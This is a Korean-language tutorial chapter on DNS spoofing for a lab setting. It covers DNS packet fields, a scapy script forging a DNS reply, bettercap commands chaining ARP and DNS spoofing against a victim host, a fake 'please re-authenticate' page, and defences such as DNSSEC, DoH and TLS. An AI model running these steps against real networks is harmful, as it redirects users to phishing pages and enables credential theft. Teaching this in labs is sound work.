Step 159. DNS 스푸핑과 bettercap — 전화번호부를 바꿔치기하다
Level 2 — 네트워크 공격과 MITM | 난이도 ★★★★☆ | 예상 소요 시간 4시간
전제: Step 156~157(ARP 스푸핑)과 Step 158(패킷 스니핑 심화)을 마쳤다. scapy로 패킷을 조립해 본 경험이 있으면 좋다.
- 준비물: Kali(bettercap), MS2(피해자 역할), 같은 Host-only 네트워크. 원리 실습은 파이썬 + scapy만 있으면 됩니다.
- 주의: ⚠️ 이 챕터의 실습은 내 랩·합법 플랫폼 전용입니다. 허가 없는 시스템에 적용하면 범죄입니다. DNS 스푸핑은 피해자를 가짜 사이트로 보내는 공격이라, 랩 밖에서 시도하는 순간 피싱 인프라가 됩니다. 이 챕터의 DNS 패킷 구조와 hosts 파일은 2026-09-09에 WSL 리눅스(scapy 2.7.0)에서 실측했고, bettercap 콘솔 화면은 Kali 랩 기준 출력 예시입니다.
Step 156~157에서 여러분은 ARP를 속여 트래픽을 내 장비로 흘렸습니다. 그런데 패킷을 가로채는 것만으로는 부족할 때가 있습니다 — 피해자가 어디로 가는지 자체를 바꾸고 싶을 때. 그 열쇠가 DNS입니다. 인터넷의 전화번호부인 DNS를 속이면, 피해자는 주소창에 올바른 도메인을 치고도 공격자의 서버에 도착합니다. 오늘은 그 원리를 패킷 단위로 조립해 보고, 이 공격을 버튼 몇 개로 실행해 주는 bettercap을 랩에서 다뤄 봅니다.
1. 학습 목표
이 챕터를 끝내면 다음을 할 수 있습니다:
- DNS 질의/응답 패킷의 구조(질문 레코드와 응답 레코드)를 설명한다
- DNS 스푸핑이 "거짓 응답의 경주"임을 패킷 조립으로 증명한다
- hosts 파일이 DNS보다 먼저 읽히는 해석 순서를 설명한다
- bettercap으로 랩 내부에서 DNS 스푸핑을 실행하고 가짜 페이지로 유도한다
- DNSSEC, DoH 같은 방어 기술이 어느 구멍을 막는지 설명한다
2. 배경 지식 — 오늘의 도구와 개념
오늘의 도구 한눈에 보기
| 구분 | 내용 |
|---|---|
| 언어·환경 | Kali 터미널 + 파이썬(scapy) + MS2(피해자) |
| 오늘의 명령·도구 | bettercap -iface eth0, net.probe on, arp.spoof on, set dns.spoof.domains, dns.spoof on, scapy의 DNS/DNSQR/DNSRR |
| 필요한 개념 | DNS 질의/응답, 트랜잭션 ID, TTL, DNS 캐시, hosts 파일, ARP 스푸핑(Step 156) |
| 오늘의 산출물 | 위조 DNS 응답 패킷 1개 + 랩에서의 스푸핑 성공 기록 + 방어 기술 정리 |
2-1. DNS — 인터넷의 전화번호부
사람은 example.com 같은 이름을 기억하지만, 네트워크는 93.184.216.34 같은 IP 주소로 통신합니다. 이름을 주소로 바꿔 주는 것이 DNS(Domain Name System)입니다. 브라우저에 도메인을 치면 컴퓨터는 먼저 DNS 서버(보통 공유기나 통신사 서버)에 "이 이름의 주소가 뭐야?"라고 질의(query)를 보내고, 응답(response)을 받아 그 주소로 접속합니다.
이 구조의 약점은 DNS가 태어난 시대에 있습니다. 1980년대에 설계된 DNS에는 "응답한 사람이 진짜 전화번호부 관리자인지" 확인하는 장치가 없었습니다. 그래서 거짓 응답이 진짜 응답보다 먼저 도착하면, 컴퓨터는 거짓을 믿습니다.
2-2. DNS 스푸핑 — 거짓 응답의 경주
DNS 스푸핑(DNS spoofing)은 이 경주에서 이기는 공격입니다. MITM 상태(Step 156의 ARP 스푸핑)에서 피해자의 DNS 질의를 가로채 보면, 공격자는 질의 내용을 알 수 있습니다. 그리고 진짜 DNS 서버보다 빨리 "그 도메인은 내 IP야"라고 거짓 응답을 보냅니다. 피해자 입장에서는 먼저 온 답을 채택하므로, 이후 접속은 공격자의 서버로 향합니다.
성공 조건은 둘입니다. ① 피해자의 질의를 볼 수 있을 것(MITM 또는 같은 네트워크), ② 응답의 트랜잭션 ID(질의와 응답을 짝짓는 16비트 번호)가 질의와 일치할 것. MITM 상태라면 질의를 보고 ID를 그대로 복사하면 되니 둘 다 충족됩니다.
2-3. hosts 파일 — DNS보다 먼저 읽히는 쪽지
사실 컴퓨터는 DNS 서버에 묻기 전에 로컬 파일 하나를 먼저 봅니다. 리눅스의 /etc/hosts, 윈도우의 C:\Windows\System32\drivers\etc\hosts입니다. 여기에 도메인 IP 한 줄이 적혀 있으면 DNS 질의 자체를 하지 않고 그 주소를 씁니다. 해석 순서는 hosts 파일 → DNS 캐시 → DNS 서버 질의입니다.
이 순서는 양날의 검입니다. 관리자는 hosts 파일로 개발용 도메인을 로컬로 돌리지만(합법적 활용), 악성코드도 같은 파일에 bank.com → 공격자IP를 적어 DNS 스푸핑과 같은 효과를 냅니다. 그래서 hosts 파일은 쓰기 권한이 관리자로 제한되어 있습니다.
2-4. bettercap — MITM의 스위스 아미 나이프
bettercap은 ARP 스푸핑, 패킷 스니핑, DNS 스푸핑을 한 콘솔에서 다루는 MITM 프레임워크입니다. Step 156~157에서 수동으로 하던 일(arpspoof 두 개 띄우기, Wireshark 별도 실행)을 모듈 단위로 켜고 끌 수 있습니다. 오늘은 net.probe(호스트 발견), arp.spoof(트래픽 우회), dns.spoof(DNS 위조) 세 모듈을 순서대로 켭니다.
3. 따라 하기
3-1. hosts 파일 읽기 — DNS의 첫 번째 관문
먼저 해석 순서의 1번 관문을 직접 봅니다.
입력 (리눅스/WSL):
cat /etc/hosts
출력 (2026-09-09 실측, WSL 우분투):
127.0.0.1 localhost
127.0.1.1 XI3492.localdomain XI3492
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
읽는 법: 127.0.0.1 localhost — "localhost라는 이름은 127.0.0.1이다"라는 고정 매핑입니다. 이 줄이 있어서 ping localhost는 DNS 서버에 묻지 않고 즉시 127.0.0.1로 갑니다. 윈도우에서는 C:\Windows\System32\drivers\etc\hosts를 메모장(관리자 권한)으로 열면 같은 형식입니다. 여기에 줄을 추가하면 그 도메인의 해석이 영구히 바뀝니다 — DNS 스푸핑이 "네트워크에서 한 번 속이는 공격"이라면, hosts 변조는 "그 컴퓨터에 상주하는 속임수"입니다.
3-2. scapy로 정상 DNS 질의 조립하기
이제 패킷의 속을 봅니다. scapy로 DNS 질의 패킷을 조립합니다 — 조립만 하고 전송하지 않습니다. 전송 실습은 뒤의 bettercap이 랩 안에서 대신합니다.
입력:
from scapy.all import IP, UDP, DNS, DNSQR
q = IP(dst="8.8.8.8") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname="example.com", qtype="A"))
q[DNS].show()
출력 (2026-09-09 실측, scapy 2.7.0):
###[ DNS ]###
id = 0
qr = 0
opcode = QUERY
...
rd = 1
rcode = ok
\qd \
|###[ DNS Question Record ]###
| qname = b'example.com.'
| qtype = A
| qclass = IN
읽는 법: 필드 세 개만 기억하세요. qr = 0은 "이건 질의다"(응답은 1), qd(Question Record)가 질문 한 개 — example.com의 A 레코드(IPv4 주소)를 달라는 뜻, id는 이 질의의 번호표입니다. 실제 질의는 운영체제가 무작위 id를 붙여 보냅니다.
3-3. scapy로 위조 DNS 응답 조립하기 — 공격의 핵심 재료
스푸핑의 본질은 "진짜 같은 거짓 응답"을 만드는 것입니다. 어떤 필드가 진짜처럼 보이게 하는지 조립으로 확인합니다.
입력:
from scapy.all import IP, UDP, DNS, DNSQR, DNSRR
fake = IP(dst="192.168.0.50", src="8.8.8.8") / UDP(sport=53, dport=5353) / DNS(
id=0x1234, qr=1, aa=1, rd=1,
qd=DNSQR(qname="example.com", qtype="A"),
an=DNSRR(rrname="example.com", type="A", ttl=300, rdata="10.0.0.99")
)
fake[DNS].show()
print("조립된 패킷 크기:", len(fake), "바이트")
출력 (2026-09-09 실측):
###[ DNS ]###
id = 4660
qr = 1
aa = 1
...
\qd \
|###[ DNS Question Record ]###
| qname = b'example.com.'
| qtype = A
| qclass = IN
\an \
|###[ DNS Resource Record ]###
| rrname = b'example.com.'
| type = A
| ttl = 300
| rdata = 10.0.0.99
조립된 패킷 크기: 84 바이트
읽는 법: 3-2와 비교하세요. 바뀐 것은 네 군데입니다. ① qr = 1(응답임을 선언), ② id = 4660(0x1234 — 피해자의 질의 번호표를 그대로 베낌, 이게 맞아야 피해자가 받아들임), ③ an(Answer Record)에 거짓 매핑 — example.com은 10.0.0.99, ④ ttl = 300(300초 동안 캐시에 남으라는 지시 — 길수록 오래 속입니다). 겨우 84바이트가 "전화번호부 바꿔치기"의 전부입니다.
왜: 이 패킷을 피해자에게내면(그리고 진짜 응답보다 먼저 도착하면) 피해자는 example.com을 10.0.0.99로 기억합니다. 공격의 핵심이 "복잡한 암호 해독"이 아니라 "형식만 맞춘 84바이트"라는 사실이, DNS가 왜 태생적으로 취약한지를 보여 줍니다.
3-4. bettercap으로 랩에서 스푸핑 실행하기
이제 Kali 랩에서 실제 공격 흐름을 봅니다. 아래 화면은 출력 예시(환경마다 주소와 화면이 다릅니다).
입력 (Kali):
sudo bettercap -iface eth0
콘솔이 뜨면 순서대로:
net.probe on
net.show
set arp.spoof.targets 192.168.56.101
arp.spoof on
set dns.spoof.domains example.com
set dns.spoof.address 192.168.56.102
dns.spoof on
출력 예시:
[net.probe] probing 256 addresses on 192.168.56.0/24
[sys.log] [inf] dns.spoof example.com -> 192.168.56.102
[sys.log] [inf] dns.spoof sending spoofed DNS reply for example.com (->192.168.56.102) to 192.168.56.101
읽는 법: 모듈은 순서가 생명입니다. net.probe(누가 있는가) → arp.spoof(트래픽을 내게로) → dns.spoof(질의에 거짓 답). 마지막 로그 줄이 찍혔다는 것은 MS2(192.168.56.101)가 example.com을 물었고, bettercap이 가로채서 거짓 응답을 보냈다는 뜻입니다.
3-5. 가짜 페이지 띄우고 피해 유도 확인하기
거짓 응답이 가리키는 주소(Kali, 192.168.56.102)에 가짜 페이지를 띄웁니다.
입력 (Kali의 새 터미널):
echo "<h1>계정을 다시 인증하세요</h1>" > index.html
sudo python3 -m http.server 80
확인: MS2 브라우저에서 http://example.com에 접속합니다. 방금 만든 페이지가 뜨면 성공입니다. 주소창에는 분명히 example.com이라고 적혀 있는데 내용은 공격자의 것 — 이 장면이 피싱의 원리 그 자체입니다.
읽는 법: 단, https://example.com으로 접속했다면 브라우저가 인증서 경고를 띄웠을 것입니다. 공격자는 example.com의 진짜 인증서를 갖고 있지 않기 때문입니다. 주소는 속여도 신분증은 못 속인다 — TLS가 MITM 앞에 세운 벽의 존재를 여기서 미리 확인하는 셈입니다. 실험이 끝나면 bettercap에서 dns.spoof off, arp.spoof off로 끄고 MS2의 DNS 캐시를 비웁니다.
4. 미션과 연습문제
미션 — 스푸핑 성공과 방어 정리
- 3-3의 위조 응답을 scapy로 직접 조립하고,
id,qr,an.rdata세 필드가 무엇을 의미하는지 주석으로 적으세요. - 랩에서 bettercap 스푸핑을 성공시키고, MS2 화면(주소창과 페이지 내용)을 기록하세요.
- 실패 실험 하나:
dns.spoof off상태에서 MS2가 example.com을 다시 물었는데도 가짜 페이지가 뜨는지 확인하고, 그 이유를 적으세요. - 방어 기술 두 가지(DNSSEC, DoH)가 각각 2-2의 어느 조건을 무너뜨리는지 표로 정리하세요.
연습문제
문제 1. DNS 스푸핑을 "거짓 응답의 경주"라고 부르는 이유는 무엇인가요? 공격자가 이 경주에서 이기기 위해 필요한 조건 두 가지를 드세요.
문제 2. 위조 응답의 트랜잭션 ID가 피해자의 질의 ID와 다르면 어떻게 되나요? 그리고 MITM 공격자는 왜 이 문제를 쉽게 해결할 수 있나요?
문제 3. hosts 파일에 example.com 10.0.0.99를 적는 공격과 DNS 스푸핑은 효과가 같습니다. 탐지·지속성 관점에서 둘의 차이를 설명하세요.
문제 4. TTL을 아주 길게(예: 86400초) 설정한 위조 응답은 공격자에게 어떤 이득을 주나요? 피해자가 스푸핑이 끝난 뒤에도 계속 피해를 보는 이유와 연결해 보세요.
5. 모범 답안과 완료 기준
미션 모범 답안
1번 주석 예: id — 질의와 응답을 짝짓는 번호표, 피해자 질의의 것을 복사해야 수락됨. qr — 0이면 질의, 1이면 응답이라는 구분자. an.rdata — 응답이 알려 주는 주소, 여기에 공격자 서버 IP를 넣는다.
3번: 대부분 가짜 페이지가 계속 뜹니다. 거짓 응답이 MS2의 DNS 캐시에 남아 있기 때문입니다(TTL이 살아 있는 동안). 스푸핑을 꺼도 캐시는 안 지워지므로, 윈도우라면 ipconfig /flushdns, 리눅스라면 캐시 데몬 재시작으로 비워야 원래대로 돌아옵니다.
4번 표 예:
| 방어 | 막는 구멍 |
|---|---|
| DNSSEC | 응답에 디지털 서명을 붙여 "진짜 전화번호부 관리자의 답인가"를 검증 — 거짓 응답 조건 자체를 무너뜨림 |
| DoH/DoT | DNS 질의 자체를 암호화된 HTTPS/TLS 안에 넣음 — 중간에서 질의를 "보고" 가로채는 조건(①)을 무너뜨림 |
검증하는 법: ① bettercap 로그에 sending spoofed DNS reply 줄이 찍혔는가. ② MS2에서 가짜 페이지가 실제로 렌더링됐는가. ③ 캐시 실험에서 "공격이 끝나도 피해가 남는다"를 직접 확인했는가. ④ 방어 표가 "조건 ①/②"와 연결되어 있는가.
연습문제 해답
문제 1 해답. 진짜 DNS 서버도 응답을 보내지만, 피해자는 먼저 도착한 응답을 채택하기 때문입니다. 필요한 조건은 ① 피해자의 질의 내용(특히 트랜잭션 ID)을 알 것 — MITM으로 엿보거나 같은 네트워크에서 관찰, ② 진짜 서버보다 빨리 응답할 것 — 같은 근거리 네트워크에 있으면 물리적으로 유리합니다.
문제 2 해답. 피해자의 운영체제가 그 응답을 "내 질의에 대한 답이 아니다"로 버립니다. MITM 공격자는 피해자의 질의 패킷을 직접 볼 수 있으므로 ID를 그대로 복사하면 되어, 추측 없이 정확한 응답을 만들 수 있습니다(3-3의 id=0x1234가 그 복사본입니다).
문제 3 해답. DNS 스푸핑은 네트워크 위에 흔적(위조 응답 패킷)이 남지만 공격이 끝나면 새 질의는 정상이 되고, 피해는 캐시 수명만큼만 지속됩니다. hosts 변조는 그 컴퓨터 안의 파일에 상주하므로 재부팅 후에도 유지되지만, 파일 한 곳만 검사하면 바로 발견됩니다. 공격자 입장에선 hosts가 오래가고, 방어자 입장에선 hosts가 찾기 쉽습니다.
문제 4 해답. TTL은 "이 답을 얼마나 오래 기억할지"를 피해자 캐시에 지시합니다. 86400초(24시간)면 공격자가 스푸핑을 끄고 자리를 떠나도 하루 동안 피해자는 가짜 주소로 접속합니다. 공격의 지속 시간이 "패킷을 보내는 순간"에서 "캐시가 죽는 순간"으로 늘어나는 것입니다.
완료 기준 체크리스트
- [ ] DNS 질의와 응답의 필드 차이(qr, qd, an)를 설명할 수 있다
- [ ] 해석 순서(hosts → 캐시 → DNS 서버)를 설명할 수 있다
- [ ] scapy로 위조 DNS 응답 패킷을 조립할 수 있다
- [ ] bettercap의 세 모듈(net.probe → arp.spoof → dns.spoof) 순서 이유를 안다
- [ ] 랩에서 스푸핑으로 가짜 페이지 유도에 성공했다
- [ ] DNS 캐시 때문에 공격이 꺼져도 피해가 남는 것을 확인했다
- [ ] DNSSEC과 DoH가 막는 구멍을 각각 설명할 수 있다
6. 흔한 실수와 해결
벽 1. "bettercap에서 모듈을 켰는데 아무 일도 안 일어나요"
증상: dns.spoof on까지 했는데 로그가 조용합니다.
원인: 모듈의 켜는 순서가 틀렸습니다. arp.spoof 없이 dns.spoof만 켜면 피해자의 질의가 내 장비를 거치지 않으므로 가로챌 질의 자체가 없습니다.
해결: net.probe on → arp.spoof on → dns.spoof on 순서를 지키세요. 각 단계 사이에 net.show로 피해자가 목록에 잡혔는지 확인합니다.
벽 2. "스푸핑을 껐는데도 가짜 페이지가 떠요"
증상: dns.spoof off 후에도 MS2에서 example.com이 가짜를 가리킵니다.
원인: 피해자의 DNS 캐시에 거짓 응답이 TTL만큼 남아 있습니다.
해결: 윈도우에서는 ipconfig /flushdns, 리눅스에서는 sudo systemd-resolve --flush-caches(또는 캐시 데몬 재시작). 새로운 도메인으로 다시 테스트하는 것도 방법입니다.
벽 3. "80번 포트를 못 열어요"
증상: python3 -m http.server 80에서 PermissionError: [Errno 13] Permission denied가 납니다.
원인: 1024번 이하 포트는 관리자 권한이 필요합니다.
해결: sudo python3 -m http.server 80으로 실행하거나, 8000번으로 띄우고 피해자가 example.com:8000으로 접속하게 합니다(연습용으론 이쪽이 간단합니다).
벽 4. "HTTPS로 접속하면 경고가 떠서 실험이 이상해요"
증상: 가짜 페이지 대신 브라우저가 "연결이 비공개로 설정되어 있지 않습니다"를 띄웁니다.
원인: 오류가 아니라 방어가 작동한 것입니다. 공격자는 example.com의 진짜 인증서를 만들 수 없습니다.
해결: 실험 목적이 "DNS 조작" 확인이면 HTTP로 테스트하세요. HTTPS 경고 화면 자체가 훌륭한 관찰 결과입니다 — "DNS를 속여도 TLS가 막는다"는 결론의 증거로 보고서에 쓰세요.
벽 5. "scapy show()에서 qdcount가 None이에요"
증상: 3-2 출력에서 qdcount = None으로 보입니다.
원인: scapy가 실제 전송/직렬화 시점에 개수를 자동 계산하기 때문입니다. 오류가 아닙니다.
해결: bytes(q)처럼 패킷을 직렬화하면 개수가 채워집니다. 필드의 의미(qd 안에 질문 레코드가 들어 있다)만 이해하면 충분합니다.
7. 정리
오늘의 개념
| 개념 | 한 줄 설명 |
|---|---|
| DNS | 도메인 이름을 IP 주소로 바꿔 주는 인터넷 전화번호부 |
| DNS 스푸핑 | 거짓 응답을 진짜보다 먼저 보내 매핑을 바꿔치기하는 공격 |
| 트랜잭션 ID | 질의와 응답을 짝짓는 16비트 번호표 — 위조 시 복사 필수 |
| TTL | 응답이 캐시에 남는 시간 — 길수록 피해가 오래감 |
| hosts 파일 | DNS보다 먼저 읽히는 로컬 매핑 — 합법 우회이자 악성코드 단골 수법 |
| DNS 캐시 | 한 번 받은 답을 기억하는 저장소 — 스푸핑 피해의 잔류 지점 |
| bettercap | ARP 스푸핑 + 스니핑 + DNS 스푸핑을 한 콘솔에서 다루는 MITM 도구 |
| DNSSEC / DoH | 응답 서명 검증 / 질의 자체 암호화 — 각각 다른 구멍을 막는 방어 |
오늘의 명령어
| 명령 | 하는 일 |
|---|---|
cat /etc/hosts |
로컬 고정 매핑 확인 — 해석의 첫 관문 |
ipconfig /flushdns |
윈도우 DNS 캐시 비우기 |
DNS(qd=DNSQR(...)) (scapy) |
DNS 질의 패킷 조립 |
DNS(qr=1, an=DNSRR(...)) (scapy) |
위조 응답 조립 — 공격의 핵심 재료 |
sudo bettercap -iface eth0 |
MITM 콘솔 기동 |
net.probe on / net.show |
네트워크 호스트 발견 / 목록 보기 |
arp.spoof on |
피해자 트래픽을 내 장비로 우회 |
set dns.spoof.domains 도메인 + dns.spoof on |
거짓 DNS 응답 시작 |
sudo python3 -m http.server 80 |
가짜 페이지 서버(관리자 권한 필요) |
명령어보다 중요한 감각
오늘 실습이 보여 준 것은 "이름을 믿지 말라"입니다. 피해자는 example.com을 정확히 쳤고, 주소창에도 그렇게 보였지만, 이름이 가리키는 주소는 이미 바뀌어 있었습니다. 84바이트의 형식 맞는 패킷 하나가 전화번호부를 통째로 바꿨습니다.
동시에 보셨겠지만 HTTPS는 이 공격 앞에서도 버팁니다 — 주소를 속여도 신분증(인증서)은 위조할 수 없기 때문입니다. 공격이 한 겹을 뚫으면 방어가 다음 겹에서 기다립니다. 오늘 속인 그 전화번호부가 왜 완전히 신뢰할 수 없는지 몸으로 아는 사람만이, 인증서와 HSTS 같은 다음 방어층의 존재 이유를 진짜로 이해합니다.
전부 체크되면 Step 159 완료입니다. 사이드바의 체크박스를 눌러 진도를 저장하세요.